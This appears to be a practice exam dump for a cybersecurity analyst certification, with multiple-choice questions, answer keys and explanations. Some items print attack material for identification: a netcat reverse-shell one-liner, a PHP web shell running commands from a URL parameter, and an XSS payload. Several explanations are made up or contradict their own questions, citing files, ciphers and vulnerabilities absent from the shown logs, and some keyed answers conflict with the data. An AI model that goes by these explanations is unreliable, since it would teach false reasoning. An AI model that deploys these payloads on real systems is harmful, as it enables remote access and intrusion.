- C. Perform a historical trend analysis and look for similar scanning activity.
- D. Block the specific IP address of the scans at the network firewall

**Answer: A**

#### Explanation:

Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can prevent any potential attacks or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic location, usually by blocking IP addresses associated with a certain country or region. Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking, as they may not block all the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:

? <https://www.blumira.com/geoblocking/>

? <https://www.avg.com/en/signal/geo-blocking>

### NEW QUESTION 63

An analyst views the following log entries:

```
202.180.158.22 - - [12/Aug/2018:11:42:20 -0200] "GET /src/sourceCode.bat\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:16 -0200] "GET /img/orgChart.jpg\HTTP/1.0" 200 291
121.19.30.221 - - [12/Aug/2018:13:04:17 -0200] "GET /cgi-bin/stats.pl?month=12\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartDirectors.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartStaff.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderlings.jpg\HTTP/1.0" 404 291
216.122.5.5 - - [12/Aug/2018:13:04:18 -0200] "GET /cgi-bin/quarterly.pl?qtr=3\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderUnderlings.jpg.jpg\HTTP/1.0" 404 291
```

The organization has a partner vendor with hosts in the 216.122.5.x range. This partner vendor is required to have access to monthly reports and is the only external vendor with authorized access. The organization prioritizes incident investigation according to the following hierarchy: unauthorized data disclosure is more critical than denial of service attempts.

which are more important than ensuring vendor data access.

Based on the log files and the organization's priorities, which of the following hosts warrants additional investigation?

- A. 121.19.30.221
- B. 134.17.188.5
- C. 202.180.158.2
- D. 216.122.5.5

**Answer: A**

#### Explanation:

The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is 121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor's range.

The log files show the following information:

? The IP addresses of the hosts that accessed the web server

? The date and time of the access

? The file path of the requested resource

? The number of bytes transferred

The organization's priorities are:

? Unauthorized data disclosure is more critical than denial of service attempts

? Denial of service attempts are more important than ensuring vendor data access According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor's range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization's priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization's priorities, and there is no evidence that this host succeeded in disrupting the web server's normal operations.

Host 202.180.158.2 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor's range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization's requirements. Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the organization.

### NEW QUESTION 65

A security analyst detected the following suspicious activity:

```
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
```

Which of the following most likely describes the activity?

- A. Network pivoting
- B. Host scanning
- C. Privilege escalation

D. Reverse shell

**Answer:** D

**Explanation:**

The command `rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f` is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

- `rm -f /tmp/f` deletes any existing file named `/tmp/f`
  - `mknod /tmp/f p` creates a named pipe (FIFO) file named `/tmp/f`
  - `cat /tmp/f|/bin/sh -i 2>&1` reads from the pipe and executes the commands using `/bin/sh` in interactive mode, redirecting the standard error to the standard output
  - `nc 10.0.0.1 1234 > tmp/f` connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe
- This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References Hack the Galaxy  
Reverse Shell Cheat Sheet

**NEW QUESTION 66**

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

- A. False positive
- B. True negative
- C. False negative
- D. True positive

**Answer:** C

**Explanation:**

The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.

**NEW QUESTION 68**

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:

```
foreach ($user in Get-Content .\this.txt)
{
    Get-ADUser $user -Properties primaryGroupID |select-object primaryGroupID
    Add-ADGroupMember "Domain Users" -Members $user
    Set-ADUser $user -Replace @(primaryGroupID=513)
}
```

Which of the following scripting languages was used in the script?

- A. PowerShell
- B. Ruby
- C. Python
- D. Shell script

**Answer:** A

**Explanation:**

The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell is a scripting language that can be used to automate tasks and manage systems.

**NEW QUESTION 69**

While reviewing web server logs, a security analyst found the following line:

```
<IMG SRC='vbscript:msgbox("test")'>
```

Which of the following malicious activities was attempted?

- A. Command injection
- B. XML injection
- C. Server-side request forgery
- D. Cross-site scripting

**Answer:** D

**Explanation:**

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user's session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware<sup>12</sup>

The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an `<IMG>` tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text "test" when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks<sup>3</sup>

**NEW QUESTION 74**

A technician is analyzing output from a popular network mapping tool for a PCI audit:

```
PORT STATE SERVICE VERSION
22/tcp open  ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open  ssl/http OpenResty web app server
|_ http-server-header: openresty
|_ ssl-enum-ciphers:
|_ TLSv1.1:
|_ ciphers:
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ TLSv1.2:
|_ ciphers:
|_ TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ least strength: F
```

Which of the following best describes the output?

- A. The host is not up or responding.
- B. The host is running excessive cipher suites.
- C. The host is allowing insecure cipher suites.
- D. The Secure Shell port on this host is closed

**Answer: C**

**Explanation:**

The output shows the result of running the `ssl-enum-ciphers` script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

**NEW QUESTION 75**

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?

- A. Trends
- B. Risk score
- C. Mitigation
- D. Prioritization

**Answer: B**

**Explanation:**

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. <https://www.comptia.org/training/books/cysa-cs0-003-study-guide>

**NEW QUESTION 79**

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public websites of a company. The security department confirmed the finding and needs to provide a recommendation to the application owner. Which of the following recommendations will best prevent this vulnerability from being exploited? (Select two).

- A. Implement an IPS in front of the web server.
- B. Enable MFA on the website.
- C. Take the website offline until it is patched.
- D. Implement a compensating control in the source code.
- E. Configure TLS v1.3 on the website.
- F. Fix the vulnerability using a virtual patch at the WAF.

**Answer:** DF

**Explanation:**

The best recommendations to prevent an XSS vulnerability from being exploited are to implement a compensating control in the source code and to fix the vulnerability using a virtual patch at the WAF. A compensating control is a technique that mitigates the risk of a vulnerability by adding additional security measures, such as input validation, output encoding, or HTML sanitization. A virtual patch is a rule that blocks or modifies malicious requests or responses at the WAF level, without modifying the application code. These recommendations are effective, efficient, and less disruptive than the other options. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense Philosophy.

**NEW QUESTION 81**

A company brings in a consultant to make improvements to its website. After the consultant leaves, a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:

```
<html>
<body>

<?php
echo '<H1>This website is under maintenance</H1>';
alert('Exit');
exec($_GET[cmd]);
echo $_SERVER['REMOTE_ADDR']
?>
</body>
</html>
```

Which of the following did the consultant do?

- A. Implanted a backdoor
- B. Implemented privilege escalation
- C. Implemented clickjacking
- D. Patched the web server

**Answer:** A

**Explanation:**

The correct answer is A. Implanted a backdoor.

A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.

In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert message that says "Exit". However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.

The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.

Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.

Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.

References:

- ? 1 What Is a Backdoor & How to Prevent Backdoor Attacks (2023)
- ? 2 What is Clickjacking? Tutorial & Examples | Web Security Academy
- ? 3 What Is Privilege Escalation and How It Relates to Web Security | Acunetix
- ? 4 What Is Patching? | Best Practices For Patch Management - cWatch Blog

**NEW QUESTION 84**

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

- A. Deploy a WAF to the front of the application.
- B. Replace the current MD5 with SHA-256.
- C. Deploy an antivirus application on the hosting system.
- D. Replace the MD5 with digital signatures.

**Answer:** B

**Explanation:**

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash

collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system (C) may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D) may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

#### NEW QUESTION 89

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

**Answer: D**

#### Explanation:

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

? 1: MITRE ATT&CK®

? 2: What is the MITRE ATT&CK Framework? | IBM

? 3: MITRE ATT&CK | MITRE

? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics | Splunk

? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

#### NEW QUESTION 94

A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?

- A. A vulnerability that has related threats and IoCs, targeting a different industry
- B. A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM
- C. A vulnerability that has no adversaries using it or associated IoCs
- D. A vulnerability that is related to an isolated system, with no IoCs

**Answer: B**

#### Explanation:

A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected signs of compromise. This poses a high risk of data breach, service disruption, or other adverse impacts. References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section: How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

#### NEW QUESTION 96

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

- A. Isolation
- B. Remediation
- C. Reimaging
- D. Preservation

**Answer: A**

#### Explanation:

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules<sup>12</sup>.

References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

#### NEW QUESTION 97

When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing host details, has been running for over two days. Which of the following activities will provide the best insight into this potentially malicious process, based on the anomalous behavior?

- A. Changes to system environment variables
- B. SMB network traffic related to the system process
- C. Recent browser history of the primary user
- D. Activities taken by PID 1024

**Answer:** D

**Explanation:**

The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior. BGINfo.exe is a legitimate tool that displays system information on the desktop background, but it can also be used by attackers to gather information about the compromised host or to disguise malicious processes<sup>12</sup>. By monitoring the activities of PID 1024, such as the files it accesses, the network connections it makes, or the commands it executes, the analyst can determine if the process is benign or malicious.

References: bginfo.exe Windows process - What is it?, What is bginfo.exe? Is it Safe or a Virus? How to remove or fix it

**NEW QUESTION 100**

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

- A. Mean time to detect
- B. Number of exploits by tactic
- C. Alert volume
- D. Quantity of intrusion attempts

**Answer:** A

**Explanation:**

Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

**NEW QUESTION 105**

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

- A. Integrate an IT service delivery ticketing system to track remediation and closure.
- B. Create a compensating control item until the system can be fully patched.
- C. Accept the risk and decommission current assets as end of life.
- D. Request an exception and manually patch each system.

**Answer:** A

**Explanation:**

Integrating an IT service delivery ticketing system to track remediation and closure is the best approach to ensure all vulnerabilities are patched in accordance with the SLA. A ticketing system is a software tool that helps manage, organize, and track the tasks and workflows related to IT service delivery, such as incident management, problem management, change management, and vulnerability management. A ticketing system can help the security team to prioritize, assign, monitor, and document the remediation of the vulnerabilities, and to ensure that they are completed within the specified time frame and quality standards. A ticketing system can also help the security team to communicate and collaborate with other teams, such as the IT operations team, the development team, and the business stakeholders, and to report on the status and progress of the remediation efforts<sup>12</sup>. Creating a compensating control item, accepting the risk, and requesting an exception are not the best approaches to ensure all vulnerabilities are patched in accordance with the SLA, as they do not address the root cause of the problem, which is the large number of critical and high findings that require patching. These approaches may also introduce more risks or challenges for the security team, such as compliance issues, resource constraints, or business impacts<sup>3</sup>. References: What is a Ticketing System? | Freshservice ITSM Glossary, Vulnerability Management Best Practices, Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, [Risk Acceptance in Information Security - Infosec Resources], [Exception Management - ISACA]

**NEW QUESTION 107**

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?

- A. Insider threat
- B. Ransomware group
- C. Nation-state
- D. Organized crime

**Answer:** C

**NEW QUESTION 110**

Which of the following can be used to learn more about TTPs used by cybercriminals?

- A. ZenMAP
- B. MITRE ATT&CK
- C. National Institute of Standards and Technology
- D. theHarvester

**Answer:** B

**Explanation:**

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help

security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.  
 References: MITRE ATT&CK, Getting Started with ATT&CK, MITRE ATT&CK | MITRE

**NEW QUESTION 115**

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

- A. Blocklisting
- B. Allowlisting
- C. Graylisting
- D. Webhooks

**Answer: B**

**Explanation:**

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers<sup>12</sup>.

The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting © is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.

**NEW QUESTION 119**

A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised. Which of the following steps should the administrator take next?

- A. Inform the internal incident response team.
- B. Follow the company's incident response plan.
- C. Review the lessons learned for the best approach.
- D. Determine when the access started.

**Answer: B**

**Explanation:**

An incident response plan is a set of predefined procedures and guidelines that an organization follows when faced with a security breach or attack. An incident response plan helps to ensure that the organization can quickly and effectively contain, analyze, eradicate, and recover from the incident, as well as prevent or minimize the damage and impact to the business operations, reputation, and customers. An incident response plan also defines the roles and responsibilities of the incident response team, the communication channels and protocols, the escalation and reporting procedures, and the tools and resources available for the incident response.

By following the company's incident response plan, the administrator can ensure that they are following the best practices and standards for handling a security incident, and that they are coordinating and collaborating with the relevant stakeholders and authorities. Following the company's incident response plan can also help to avoid or reduce any legal, regulatory, or contractual liabilities or penalties that may arise from the incident.

The other options are not as effective or appropriate as following the company's incident response plan. Informing the internal incident response team (A) is a good step, but it should be done according to the company's incident response plan, which may specify who, when, how, and what to report. Reviewing the lessons learned for the best approach © is a good step, but it should be done after the incident has been resolved and closed, not during the active response phase. Determining when the access started (D) is a good step, but it should be done as part of the analysis phase of the incident response plan, not before following the plan.

**NEW QUESTION 123**

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Task name	Target process	Number of hosts	Task user account
RtkAudUService64_BG	C:\Windows\System32\RtkAudUService64.exe	502	NT Authority\SYSTEM
BatteryGaugeMaintenance	%ProgramData%\Lenovo\Plugins\BGHelper.exe	410	NT Authority\SYSTEM
RtHVBg_PushButton	C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe	870	NT Authority\SYSTEM
UpdateService	C:\Users\sam\AppData\Roaming\Temp\taskhw.exe	1	PROD\sam

Which of the following actions should the hunter perform first based on the details above?

- A. Acquire a copy of taskhw.exe from the impacted host
- B. Scan the enterprise to identify other systems with taskhw.exe present
- C. Perform a public search for malware reports on taskhw.exe.
- D. Change the account that runs the -caskh.exe scheduled task
- E. exe scheduled task

**Answer: C**

**Explanation:**

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard

path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

**NEW QUESTION 127**

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network. Which of the following metrics should the team lead include in the briefs?

- A. Mean time between failures
- B. Mean time to detect
- C. Mean time to remediate
- D. Mean time to contain

**Answer: D**

**Explanation:**

Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive briefs, as it measures how long it takes to stop the spread of malware that enters the network. Mean time to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware, from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness and efficiency of the incident response process, as well as the potential impact and damage of the incident or threat. A lower mean time to contain indicates a faster and more successful response, which can reduce the risk and cost of the incident or threat. Mean time to contain can also be compared with other metrics, such as mean time to detect or mean time to remediate, to identify gaps or areas for improvement in the incident response process.

**NEW QUESTION 128**

The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:

Vulnerability title	Attack vector	Attack complexity	Authentication required	User interaction required
Vulnerability A	Network	Low	No	Yes
Vulnerability B	Local	Low	Yes	Yes
Vulnerability C	Network	High	Yes	Yes
Vulnerability D	Local	Low	No	No

Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?

- A. Vulnerability A
- B. Vulnerability B
- C. Vulnerability C
- D. Vulnerability D

**Answer: B**

**Explanation:**

Vulnerability B is the vulnerability that the analyst should be most concerned about, knowing that end users frequently click on malicious links sent via email. Vulnerability B is a remote code execution vulnerability in Microsoft Outlook that allows an attacker to run arbitrary code on the target system by sending a specially crafted email message. This vulnerability is very dangerous, as it does not require any user interaction or attachment opening to trigger the exploit. The attacker only needs to send an email to the victim's Outlook account, and the code will execute automatically when Outlook connects to the Exchange server. This vulnerability has a high severity rating of 9.8 out of 10, and it affects all supported versions of Outlook. Therefore, the analyst should prioritize patching this vulnerability as soon as possible to prevent potential compromise of the workstations.

**NEW QUESTION 131**

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

- A. Shut the network down immediately and call the next person in the chain of command.
- B. Determine what attack the odd characters are indicative of
- C. Utilize the correct attack framework and determine what the incident response will consist of.
- D. Notify the local law enforcement for incident response

**Answer: B**

**Explanation:**

Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

### NEW QUESTION 132

A security analyst recently used Arachni to perform a vulnerability assessment of a newly developed web application. The analyst is concerned about the following output:

[+] XSS: In form input 'txtSearch' with action https://localhost/search.aspx [-] XSS: Analyzing response #1...

[-] XSS: Analyzing response #2... [-] XSS: Analyzing response #3...

[+] XSS: Response is tainted. Looking for proof of the vulnerability. Which of the following is the most likely reason for this vulnerability?

- A. The developer set input validation protection on the specific field of search.aspx.
- B. The developer did not set proper cross-site scripting protections in the header.
- C. The developer did not implement default protections in the web application build.
- D. The developer did not set proper cross-site request forgery protections.

**Answer: B**

#### Explanation:

The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim<sup>1</sup>.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the

Content-Type header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the browser's built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and scripts can be loaded or executed on the web page<sup>2</sup>.

According to the output of Arachni, a web application security scanner framework<sup>3</sup>, it detected an XSS vulnerability in the form input 'txtSearch' with action https://localhost/search.aspx. This means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting protections in the header of search.aspx, which allowed Arachni to bypass the browser's default security mechanisms and execute arbitrary code on the web page.

### NEW QUESTION 136

